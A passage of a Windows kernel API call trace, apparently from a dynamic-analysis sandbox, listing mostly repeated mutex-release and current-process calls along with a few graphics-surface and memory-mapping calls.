(FastMutex=0xffffe000015a44a0) [0137.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.564] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.565] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.565] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.566] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.566] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.566] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.566] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.566] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.566] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.567] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.567] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.567] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.567] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.567] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.568] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.568] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.568] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.568] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.568] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.569] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.569] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.569] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.569] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.569] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.569] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.570] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.570] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.570] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.570] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.570] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.571] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.571] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.571] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.571] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.571] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.571] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.572] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.572] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.572] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.573] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.573] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.573] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.573] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.573] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.574] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.574] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.574] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.574] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.575] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.575] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.616] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.618] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.618] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.618] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.619] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.619] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.619] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.619] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.630] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.630] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.631] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.631] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.632] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.632] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.632] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.632] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.633] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.675] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.675] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.736] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.736] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.810] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.810] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.824] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.824] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.824] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.824] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.825] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.825] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.826] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.826] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.826] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.827] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.895] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.895] EngAllocMem () returned 0xfffff90142521030 [0137.895] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.895] MmMapViewOfSection (in: SectionObject=0xffffc0000153cba0, Process=0xffffe0000120d7c0, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211f1ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0x4ca150000, SectionOffset=0xffffd000211f1ed0, ViewSize=0xfffff90142521370) returned 0x0 [0137.895] EngCreateBitmap () returned 0x7a0505a2 [0137.895] EngAssociateSurface () returned 0x1 [0137.895] EngLockSurface () returned 0xfffff901409e1cb8 [0137.895] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001255f40 [0137.895] KeInitializeEvent (in: Event=0xffffe00001255f58, Type=0x1, State=0 | out: Event=0xffffe00001255f58) [0137.896] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.917] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.917] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.917] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.924] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.925] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.925] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.925] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.925] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.926] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.949] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.949] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.094] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.094] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.143] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.143] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.143] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.143] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.204] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.204] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.204] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.204] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.268] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.268] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.268] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.268] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.330] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.331] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.331] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.331] 